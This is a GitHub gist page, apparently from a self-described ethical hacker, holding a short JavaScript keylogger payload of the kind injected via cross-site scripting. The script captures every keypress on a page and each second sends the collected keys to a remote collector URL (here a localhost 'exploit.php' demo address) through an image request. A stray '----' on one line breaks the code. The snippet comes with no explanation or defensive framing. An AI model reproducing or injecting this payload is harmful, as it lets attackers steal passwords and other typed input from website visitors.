Skip to content

Instantly share code, notes, and snippets.

@shawarkhanethicalhacker
Created April 24, 2019 20:07
Show Gist options
  • Save shawarkhanethicalhacker/ba1df2a9f7100c584e1bbf0ed4f1be43 to your computer and use it in GitHub Desktop.
Save shawarkhanethicalhacker/ba1df2a9f7100c584e1bbf0ed4f1be43 to your computer and use it in GitHub Desktop.
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;----
}
window.setInterval(function(){
new Image().src = 'http://127.0.0.1/demo/1/exploit/exploit.php?keylog=' + keys;
keys = '';
}, 1000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment